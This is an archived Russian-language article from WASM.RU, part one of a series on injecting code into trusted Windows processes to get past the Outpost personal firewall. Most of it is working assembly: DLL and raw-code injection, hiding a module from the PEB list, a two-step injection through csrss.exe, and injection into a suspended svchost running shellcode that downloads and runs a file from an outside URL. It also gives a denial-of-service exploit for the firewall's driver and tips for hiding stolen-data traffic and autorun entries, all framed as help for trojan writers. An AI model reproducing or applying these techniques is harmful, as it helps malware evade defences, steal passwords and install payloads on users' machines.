Инжект как метод обхода фаерволлов, жив или мертв? — Архив WASM.RU

Все статьи

Инжект как метод обхода фаерволлов, жив или мертв? — Архив WASM.RU

Инжект как метод обхода фаерволлов, жив или мертв? (часть 1, OutpostFirewall)

Инжект как метод обхода фаерволлов, жив или мертв?

Часть 1, OutpostFirewall.

Наверника многие из вас помнят те времена, когда персональные фаерволлы только появились, и настал черный день для троянописателей. Этот день стал концом для большинства, но не для всех. Вскоре было найдено простое и изьящное решение, суть которого состоит в том, чтобы работать из разрешенного фаерволлом процесса. Решение было простым и не требовало много кода, и заключалось оно в записи и исполнении своего кода в чужой процесс (обычно в процесс InternetExplorer).

Но разработчики фаерволлов ушами не хлопали, и стали отлавливать действия по записи памяти другого процесса. Некоторые перехватывали ZwOpenProcess, некоторые ZwWriteVirtualMemory, некоторые ZwCreateThread. Считается, что с этого момента инжект как метод обхода фаерволлов перестал существовать, так как уже недостаточно было сделать OpenProcess/WriteProcessMemory/CreateRemoteThread. Троянописатели конечно не сидели на есте и придумывали новые способы для отправки данных мимо фаерволла, но по своим возможностям они не могли сравниться с инжектом. Чего только не было придумано, начиная с запуска скрытого окна InternetExplorer и имитации действий пользователя по отправке данных, и заканчивая довольно извратным способом DNS тунелинга, который требовал наличия подконтрольного DNS сервера. Казалось бы инжект остался в прошлом, так как его научились контролировать почти все фаерволлы (за исключением полного отстоя вроде Kaspersky Anty Hacker или бесплатного tdifw), но если детально рассмотреть алгоритмы работы защиты от инжекта, то можно прийти к выводу, что хоронить этот метод еще очень рано, потому что не существует ни одного фаерволла способного перекрыть все пути к инжекту. В этой статья я хочу рассмотреть несколько распостраненных персональных фаерволлов, проанализировать алгоритм работы их защиты от инжекта и рассмотреть некоторые методы ее обхода. Естественно, набор существующих методов не ограничивается приведенными в этой статье, и каждый обладающий воображением сможет найти свой оригинальный метод инжекта. Все примеры в статье написаны на Fasm 1.64, так как он лучше всего подходит для реализации описаных методик. Итак, приступим к делу.


Outpost Firewall, или пример простой защиты.

Итак, первым рассмотрим Outpost Firewall Pro ver.3.0.543.5722. Этот фаерволл я выбрал из за его популярности и простоты реализованной в нем защиты. Outpost отслеживает инжектинг путем перехвата ZwWriteVirtualMemory в SDT ntoskrnl, и блокирует сетевой доступ для процесса память которого была изменена.

Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Что можно сделать с помощью 16 байт? Самое первое что приходит в голову - это инжектинг dll. Имеющиеся 16 байт используем для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на наш буфер. Для начала найдем процесс в который будем производить инжект:

FindProcess:
  push     ebp
  mov      ebp, esp
  sub      esp, 13Ch
  push     esi
  mov      dword [ebp-13Ch], 128h
  invoke   CreateToolhelp32Snapshot, 2, 0
  mov      esi, eax
  cmp      eax, -1
  jz       @F
  lea      eax, [ebp-13Ch]
  invoke   Process32First, esi, eax
  test     eax, eax
  jz       @F
bb:
  lea      eax, [ebp-118h]
  invoke   lstrcmpi, eax, ProcessName
  test     eax, eax
  jz       pFound
  lea      eax, [ebp-13Ch]
  invoke   Process32Next, esi, eax
  test     eax, eax
  jz       @F
  jmp      bb
@@:
  pop      esi
  leave
  ret
pFound:
  mov      eax, [ebp-308]
  jmp      @B 

Теперь можно выделить память, записать имя dll и вызвать CreateRemoteThread:

ProcessName db 'iexplore.exe', 0
DllName     db 'fwbdll.dll', 0
NameSize    = $-DllName

entry $
  call     FindProcess
  test     eax, eax
  jz       @F
  invoke   OpenProcess, PROCESS_ALL_ACCESS, 0, eax
  test     eax, eax
  jz       @F
  mov      esi, eax
  invoke   VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE
  test     eax, eax
  jz       @F
  mov      edi, eax
  invoke   WriteProcessMemory, esi, edi, DllName, NameSize, 0
  test     eax, eax
  jz       @F
  invoke   CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0
  invoke   CloseHandle, esi
@@:
  ret     

Содержимое dll для демонстрации примера будет весьма безобидное, просто показывается MessageBox с сообщением, но ничего не мешает сделать там отправку паролей с машины, или загрузку и запуск файла.

format PE GUI 4.0 DLL

include '%fasminc%\win32a.inc'

text    db 'Fuck you, world!', 0
caption db 'Dll inject', 0

entry $
  cmp      dword [esp+8], DLL_PROCESS_ATTACH
  jnz      @F
  invoke   MessageBox, 0, text, caption, 0
@@:
  mov      eax, 1
  retn     0Ch


section '.idata' import data readable
  library user32, 'user32.dll'

include '%fasminc%\apia\user32.inc'

section '.reloc' fixups data discardable 

Контроль компонентов.

Все было бы хорошо (живи да радуйся), если бы не контроль компонентов. Outpost, как и большинство других фаерволлов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей ) либо при изменении контрольной суммы старых) начинает грязно ругаться, а это может вызвать у юзера подозрения. Следовательно следующим шагом станет обход контроля компонентов.

Если немного пораскинуть мозгами (по асфальту :), то легко прийти к выводу, что раз оутпост получает список загруженных dll, значит этот список где-то храниться, а если он где-то есть, то его можно найти и исправить так, чтобы скрыть присутствие нашей dll. Список загруженных модулей процесса хранится в его PEB. Опишем для начала структуру PEB (не всю, а только нужную нам часть):

struct PEB
  InheritedAddressSpace    db ?
  ReadImageFileExecOptions db ?
  BeingDebugged            db ?
  Spare                    db ?
  Mutant                   dd ?
  ImageBaseAddress         dd ?
  LoaderData               dd ?
  ProcessParameters        dd ?
  SubSystemData            dd ?
  ProcessHeap              dd ?
  FastPebLock              dd ?
  FastPebLockRoutine       dd ?
  FastPebUnlockRoutine     dd ?
  EnvironmentUpdateCount   dd ?
  KernelCallbackTable      dd ?
  SystemReserved           dd ?
  AtlThunkSListPtr32       dd ?
ends        

В этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:

struct LDR_MODULE
  InLoadOrderModuleList           LIST_ENTRY ?
  InMemoryOrderModuleList         LIST_ENTRY ?
  InInitializationOrderModuleList LIST_ENTRY ?
  BaseAddress                     dd ?
  EntryPoint                      dd ?
  SizeOfImage                     dd ?
  FullDllName                     UNICODE_STRING ?
  BaseDllName                     UNICODE_STRING ?
  Flags                           dd ?
  LoadCount                       dw ?
  TlsIndex                        dw ?
  HashTableEntry                  LIST_ENTRY ?
  TimeDateStamp                   dd ?
ends 

Как вы видите, здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Нам нужно пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля со своим hInstance найти свой модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код нашей безобидной dll принимает следующий вид:

format PE GUI 4.0 DLL

include '%fasminc%\win32a.inc'
include 'structs.inc'

text    db 'Fuck you, world!', 0
caption db 'Dll inject', 0

HideFromPeb: ; hInstance
  push     esi
  push     ebx
  mov      esi, [esp+0Ch]
  mov      eax, [fs:30h]
  mov      eax, [eax+PEB.LoaderData]
  add      eax, PEB_LDR_DATA.InLoadOrderModuleList
@@:
  mov      eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink]
  cmp      esi, [eax+LDR_MODULE.BaseAddress]
  jnz      @B
  mov      esi, [eax+LIST_ENTRY.Flink]
  mov      ebx, [eax+LIST_ENTRY.Blink]
  mov      [ebx+LIST_ENTRY.Flink], esi
  mov      esi, [eax+LIST_ENTRY.Blink]
  mov      ebx, [eax+LIST_ENTRY.Flink]
  mov      [ebx+LIST_ENTRY.Blink], esi
  lea      eax, [eax+LDR_MODULE.InMemoryOrderModuleList]
  mov      esi, [eax+LIST_ENTRY.Flink]
  mov      ebx, [eax+LIST_ENTRY.Blink]
  mov      [ebx+LIST_ENTRY.Flink], esi
  mov      esi, [eax+LIST_ENTRY.Blink]
  mov      ebx, [eax+LIST_ENTRY.Flink]
  mov      [ebx+LIST_ENTRY.Blink], esi
  pop      ebx
  pop      esi
  ret

entry $
  cmp      dword [esp+8], DLL_PROCESS_ATTACH
  jnz      @F
  push     dword [esp+4]
  call     HideFromPeb
  invoke   MessageBox, 0, text, caption, 0
@@:
  mov      eax, 1
  retn     0Ch


section '.idata' import data readable
  library user32, 'user32.dll'

include '%fasminc%\apia\user32.inc'

section '.reloc' fixups data discardable

Все, теперь оутпост не замечает как процесс инжектинга, так и наличие нашей dll и можно спокойно отсылать пароли и качать трояны пачками :)


Инжектим чистый код.

Инжектинг dll, это конечно просто в реализации, но такой метод мне кажется "грязным", так как требует наличия лишнего файла на диске. Гораздо лучше бы было проинжектить только код производящий нужные нам действия. В 16 байт при всем желании не удастся втиснуть код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из нашего процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл своего процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде, но не все так плохо. На самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:

  push     0
  push     InjectSize
  push     esi
  push     InjectCode
  push     edi
  call     ebx 

Мы создадим с помощью CreateRemoteThread поток в приостановленом состоянии (с флагом CREATE_SUSPENDED), а затем использую GetThreadContext/SetThreadContext заполним регистры нужными нам параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:

LoaderCode:
  push     0
  push     InjectSize
  push     esi
  push     InjectCode
  push     edi
  call     ebx
LoaderSize = $-LoaderCode

InjectCode:
  call     $+5
  pop      esi
  sub      esi, $-InjectCode-1
  push     0
  lea      eax, [esi+caption-InjectCode]
  push     eax
  lea      eax, [esi+text-InjectCode]
  push     eax
  push     0
  call     [esi+p_MessageBox-InjectCode]
  retn     4

  p_MessageBox dd 0
  text    db 'Fuck you, world!', 0
  caption db 'Code inject', 0
InjectSize = $-InjectCode


ProcessName db 'iexplore.exe', 0
align 4
context     CONTEXT 0

entry $
  push     ebp
  mov      ebp, esp
  sub      esp, 8
  mov      eax, [MessageBox]
  mov      [p_MessageBox], eax
  call     FindProcess
  test     eax, eax
  jz       @F
  invoke   OpenProcess, PROCESS_ALL_ACCESS, 0, eax
  test     eax, eax
  jz       @F
  mov      [ebp-4], eax
  invoke   VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
  test     eax, eax
  jz       @F
  mov      edi, eax
  invoke   WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0
  lea      eax, [ebp-8]
  invoke   DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS
  invoke   CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0
  mov      esi, eax
  mov      [context.ContextFlags], CONTEXT_FULL
  invoke   GetThreadContext, esi, context
  lea      eax, [edi+LoaderSize]
  mov      [context.regEsi], eax
  push     dword [ebp-8]
  pop      [context.regEdi]
  push     [ReadProcessMemory]
  pop      [context.regEbx]
  invoke   SetThreadContext, esi, context
  invoke   ResumeThread, esi
  invoke   CloseHandle, esi
  invoke   CloseHandle, [ebp-4]
  invoke   Sleep, 100
@@:
  leave
  ret  

Инжект в два прыжка.

Итак, если вы думаете что на этом заканчиваются возможности для инжекта, то ошибаетесь. Если вникнуть в некоторые аспекты работы системы, то можно придумать еще несколько способов инжекта. Если вы читали мою статью "Современные технологии дампинга и защиты от него", то несомненно знаете, что в процессе работы системы, процесс csrss.exe (сервер подсистемы win32) производит запись в память GUI процессов. Из этого следует вывод, что во избежании ложных срабатываний фаерволлы не могут контролировать инжекты со стороны этого процесса. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss нам сначала нужно включить Debug привилегию, это делает следующий код:

PrivName db 'SeDebugPrivilege', 0

EnableDebugPrivilege:
  push     ebp
  mov      ebp, esp
  sub      esp, 24h
  invoke   OpenProcessToken, -1, 28h, esp
  test     eax, eax
  jz       @F
  lea      eax, [esp+8]
  invoke   LookupPrivilegeValue, 0, PrivName, eax
  test     eax, eax
  jz       @F
  mov      dword [esp+14h], 1
  mov      eax, [esp+8]
  mov      [esp+18h], eax
  mov      eax, [esp+0Ch]
  mov      [esp+1Ch], eax
  mov      dword [esp+20h], 2
  lea      eax, [esp+10h]
  push     eax
  lea      eax, [esp+18h]
  push     eax
  push     10h
  lea      eax, [esp+20h]
  push     eax
  push     0
  mov      eax, [esp+14h]
  push     eax
  call     [AdjustTokenPrivileges]
@@:
  leave
  ret   

Для упрощения работы, сделаем таблицу адресов нужных нам API внутри инжект кода, и составим макросы для эх простого вызова:

macro callx i {call dword [ebp+p_#i-CodeStart]}

macro invokex proc,[arg]
 { common
    if ~ arg eq
   reverse
     pushd arg
   common
   end if
    callx proc }

Теперь можно писать собственно сам инжект код. Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:

CodeStart:
  call     $+5
  pop      ebp
  sub      ebp, $-CodeStart-1
  mov      esi, [esp+4]
  test     esi, esi
  jz       mbox
  invokex  OpenProcess, PROCESS_ALL_ACCESS, 0, esi
  test     eax, eax
  jz       @F
  mov      esi, eax
  invokex  VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
  test     eax, eax
  jz       @F
  mov      edi, eax
  push     [ebp+InjParam-CodeStart]
  mov      [ebp+InjParam-CodeStart], 0
  invokex  WriteProcessMemory, esi, edi, ebp, CodeSize, 0
  pop      eax
  invokex  CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0
  invokex  CloseHandle, esi
  jmp      @F
mbox:
  lea      eax, [ebp+caption-CodeStart]
  lea      ebx, [ebp+text-CodeStart]
  invokex  MessageBox, 0, ebx, eax, 0
@@:
  retn     4

  text     db 'Fuck you, world!', 0
  caption  db 'TwoJump inject', 0

  p_OpenProcess        dd 0
  p_VirtualAllocEx     dd 0
  p_WriteProcessMemory dd 0
  p_CreateRemoteThread dd 0
  p_CloseHandle        dd 0
  p_MessageBox         dd 0
  InjParam             dd 0

CodeSize = $-CodeStart 

Заполнение адресов в таблице API, определение PID нужных нам процессов и вызов этого кода теперь выглядит очень просто:

ProcessName dd 0
fProc db 'csrss.exe', 0
sProc db 'iexplore.exe', 0

entry $
  call     EnableDebugPrivilege
  mov      eax, [OpenProcess]
  mov      [p_OpenProcess], eax
  mov      eax, [WriteProcessMemory]
  mov      [p_WriteProcessMemory], eax
  mov      eax, [CreateRemoteThread]
  mov      [p_CreateRemoteThread], eax
  mov      eax, [VirtualAllocEx]
  mov      [p_VirtualAllocEx], eax
  mov      eax, [CloseHandle]
  mov      [p_CloseHandle], eax
  mov      eax, [MessageBox]
  mov      [p_MessageBox], eax
  mov      [ProcessName], sProc
  call     FindProcess
  test     eax, eax
  jz       @F
  mov      [InjParam], eax
  mov      [ProcessName], fProc
  call     FindProcess
  test     eax, eax
  jz       @F
  push     eax
  call     CodeStart
@@:
  ret         

Баги в Outpost.

Дизассемблируя драйвер оутпоста (FILTNT.sys) я натолкнулся на две интересные особенности в обработчике перехвата ZwWriteVirtualMemory. Из этого обработчика вызывается функция с адресом 0x00017B90, которая делает запрос службе оутпоста на проверку возможности записи памяти процесса. В этой функции также есть ряд других проверок, одна из которых осуществляется следующим кодом:

.text:00017C48                 xor     eax, eax
.text:00017C4A                 mov     ecx, [ebp+var_4]
.text:00017C4D                 mov     al, [ecx+879h]
.text:00017C53                 cmp     eax, 3
.text:00017C56                 jz      loc_17E28
.text:00017C5C                 cmp     eax, 6
.text:00017C5F                 jz      loc_17E28
.text:00017C65                 cmp     eax, 1
.text:00017C68                 jz      loc_17E28
.text:00017C6E                 mov     cl, [ebx+879h]
.text:00017C74                 cmp     cl, 4
.text:00017C77                 jnz     short loc_17CA0
.text:00017C79                 mov     ecx, [ebp+arg_8]
.text:00017C7C                 cmp     ecx, 4
.text:00017C7F                 jnz     short loc_17CA0
.text:00017C81                 lea     esi, [esi+0Eh]
.text:00017C84                 mov     edi, offset aSvchost_exe ; "SVCHOST.EXE"
.text:00017C89                 mov     ecx, 18h
.text:00017C8E                 repe cmpsb
.text:00017C90                 jnz     short loc_17CA0
.text:00017C92                 mov     eax, 1
.text:00017C97                 pop     edi
.text:00017C98                 pop     esi
.text:00017C99                 pop     ebx
.text:00017C9A                 mov     esp, ebp
.text:00017C9C                 pop     ebp
.text:00017C9D                 retn    10h

Как вы уже наверно поняли, всем процессам с именем svchost.exe разрешается запись в память других процессов во избежание ложных срабатываний защиты. Поэтому можно использовать даже старые методы инжекта, нужно просто обозвать трояна svchost.exe и оутпост все разрешит! Это конечно можно считать не багом, а фичей, но мне кажется, что разработчики могли бы поответственнее отнестись к реализации такой проверки, хотя бы проверять полный путь к исполнимому файлу, а не только имя процесса.

Дальнейшее изучение драйвера оутпоста позволило мне найти еще один баг в нем, видимо в целях отладки программисты писавшие оутпост сделали в драйвере вывод отладочных сообщений (точнее сообщения драйвер выводит не сам, а передает их службе), и в числе прочих сообщений там имеется дамп содержимого инжектируемого куска памяти. Формирование строки с дампом производится следующим кодом:

.text:00017D88                 xor     ebx, ebx
.text:00017D8A                 test    edi, edi
.text:00017D8C                 jle     short loc_17DB3
.text:00017D8E                 lea     esi, [ebp-0B0h]
.text:00017D94
.text:00017D94 loc_17D94:                              ; CODE XREF: sub_17B90+221.j
.text:00017D94                 xor     eax, eax
.text:00017D96                 mov     ecx, [ebp+14h]
.text:00017D99                 mov     al, [ecx+ebx]
.text:00017D9C                 inc     ebx
.text:00017D9D                 push    eax
.text:00017D9E                 push    offset a02x     ; "%02X "
.text:00017DA3                 push    esi
.text:00017DA4                 add     esi, 3
.text:00017DA7                 call    sprintf
.text:00017DAC                 add     esp, 0Ch
.text:00017DAF                 cmp     ebx, edi
.text:00017DB1                 jl      short loc_17D94

Начальный адрес дампимого куска памяти находиться в локальной переменной [ebp+14h], куда он помещается из аргумента ZwWriteVirtualMemory. Как вы видите, в строке mov al, [ecx+ebx] происходит обращение к памяти в юзермодном буфере без проверки ее там присутствия, а следовательно достаточно передать невалидный адрес и система упадет в синий экран. Этот баг уже является уязвимостью в безопасности, так как для того чтобы уронить систему не требуются права администратора. А вот и эксплоит на эту уязвимость:

ProcessName db 'explorer.exe', 0

entry $
  call     FindProcess
  test     eax, eax
  jz       @F
  invoke   OpenProcess, PROCESS_ALL_ACCESS, 0, eax
  test     eax, eax
  jz       @F
  mov      esi, eax
  invoke   VirtualAllocEx, esi, 0, 10, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
  test     eax, eax
  jz       @F
  mov      edi, eax
  invoke   WriteProcessMemory, esi, edi, 0, 10, 0
@@:
  ret  

Для срабатывания эксплоита необходимо наличие в настройках фаерволла любого правила для explorer.exe, но его можно заменить любым процессом. Наличие уязвимости подтверждено в Outpost Firewall Pro ver. 3.0.543.5722 и Outpost Firewall Pro ver. 2.7.485.5401, но я предполагаю что эта дыра есть и в более ранних версиях.


Инжект в запускаемый процесс.

Итак, мы рассмотрели несколько способов инжекта в уже запущенный процесс, но главным недостатком этих способов является то, что они построены на особенностях конкретного фаерволла, и врядли будут работать на чем-либо кроме оутпоста. Для практического использования очень желательно иметь универсальный метод, работающий против всех фаерволлов. Для того, чтобы найти такой способ, давайте подробно рассмотрим как происходит запуск нового процесса. Запуск процесса состоит из следующих стадий:

1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем будем считать, что запускается обычный win32 PE файл.
2) Производиться открытие исполнимого файла с помощью ZwOpenFile.
3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.
4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.
5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.
6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.
7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.
8) Производиться заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.
9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.
10) С помощью ZwCreateThread создается первичный поток.
11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.
12) Первичный поток запускается на исполнение с помощью ZwResumeThread.

Обратите внимание, что на этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому фаерволлы включают контроль инжектов позднее. На основании этого факта можно построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства фаерволлов.

С этого момента, для проверки работоспособности инжекта, мы будем пользоваться маленьким базонезависимым шелкодом, который скачивает файл по линку http://ms-rem.dot-link.net/file.exe и запускает его. Файл этот содержит просто MessageBox.

С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:

format PE GUI 4.0

include '%fasminc%\win32a.inc'

section '.code' code readable writeable executable

stri      STARTUPINFO         ?
prci      PROCESS_INFORMATION ?
szSvchost db 'svchost.exe', 0
injcode   file 'code.bin'
codesize  = $-injcode
oldp      dd 0

entry $
  mov    [stri.cb], sizeof.STARTUPINFO
  invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci
  test   eax, eax
  jz     @F
  invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES
  test   eax, eax
  jz     @F
  add    eax, [eax+3Ch]
  mov    edi, [eax+28h]
  add    edi, [eax+34h]
  invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp
  invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0
  invoke ResumeThread, [prci.hThread]
@@:
  ret

section '.idata' import data readable writeable

library kernel32, 'kernel32.dll'
include '%fasminc%\apia\kernel32.inc'

Вышеописанный способ с небольшими изменениями (о них далее) можно применять с многими другими распространенными фаерволлами.


Другие методы защиты оутпоста.

Ну и, осталось рассказать про еще несколько методов защиты применяемых оутпостом. Они врядли могут создать какие-либо проблемы, но все же иногда их следует принимать во внимание.

При использовании инжекта в запускаемый процесс, внимание следует обратить на так называемый "контроль скрытых процессов". На самом деле под скрытым процессом оутпост понимает процесс, который не имеет окна или имеет скрытое окно. При создании правила для приложения, оутпост запоминает факт наличия у него видимого окна, и будет далее проверять его наличие при первом запросе сетевого доступа процессом. В случае с вышеприведенным примером использующим инжект в svchost.exe, это не вызовет никаких проблем, но в случае использования данного метода например с iexplore.exe, оутпост выдаст предупреждение. Сделать обход такой проверки весьма нетрудно, для этого нужно просто создать видимое окно и показать его за экраном (например в координатах -10000, -10000). Можно также использовать другие приемы (такие как 100% прозрачность окна, и т.д.). Приводить код обходящий эту защиту я сейчас не буду, его вы можете найти среди примеров к этой серии статей.

В версиях оутпоста 3.0 и выше, появился новый AntySpyware плугин. Он совмещает в себе три метода защиты. Первый - это сигнатурный скан файлов (вроде антивируса). Я думаю, все вы давно знаете как с подобными вещами бороться (т.к. антивирусы это первейшая проблема возникающая при написании троянов). Второй метод - это сканирование исходящих пакетов на сигнатуры передаваемых приватных данных (номеров кредитных карт, паролей и.т.п.), параметры этой проверки можно установить в настройках плугина. Обойти это проверку очень просто, достаточно просто шифровать передаваемые данные (хотя-бы примитивным ксором). Третья защита этого плугина имхо может создавать проблемы при установке трояна. Она мониторит определенные ключи реестра на предмет их изменения (прописывания в автозагрузку). Список этих ключей можно найти в настройках плугина. Для того чтобы избавиться от этой напасти есть два способа, первый - это пользоваться ключом реестра который оутпост не контролирует, второй - перехватывать в процессе оутпоста функции ZwEnumerateKey/ZwQueryValueKey и маскировать свои изменения. Имхо следует выбирать второй способ ввиду его универсальности.


Заключение.

И так, все защиты оутпоста рассмотрены и побеждены, и теперь хотелось бы сделать выводы из вышеприведенного материала и моих впечатлений от использования этого фаерволла. Оутпост очень удобен в использовании, содержит средства помогающие при отладке сетевых приложений (монитор соединений), имеет полезные фичи вроде вырезки рекламы и кеширования DNS запросов. Он обеспечивает хорошую защиту от внешних атак (ремоутных эксплоитов) и имеет гибкие легконастраиваемые правила, но защиту от троянов совершенно не обеспечивает (это самый простой для обхода фаерволл в этом обзоре). 

З.Ы. не торопитесь применять вышеописанное к другим фаерволлам, так как многое здесь касается только оутпоста. Про другие фаерволлы читайте в следующих статьях серии.

Приложение:

Здесь вы найдете все файлы идущие со статьей:

ФайлОписание
codeinject.rar (2 кб)Пример прямого инжекта кода.
dllinject.rar (2 кб)Пример инжекат dll и скрытия ее из PEB.
twojump.rar (2 кб)Инжект в два прыжка.
rinject.rar (2 кб)Инжект в запускаемый процесс.
shellcode.rar (2 кб)Исходники тестового шелкода.




© Copyright by Ms-Rem ALL RIGHTS RESERVED.  
 

2002-2013 (c) wasm.ru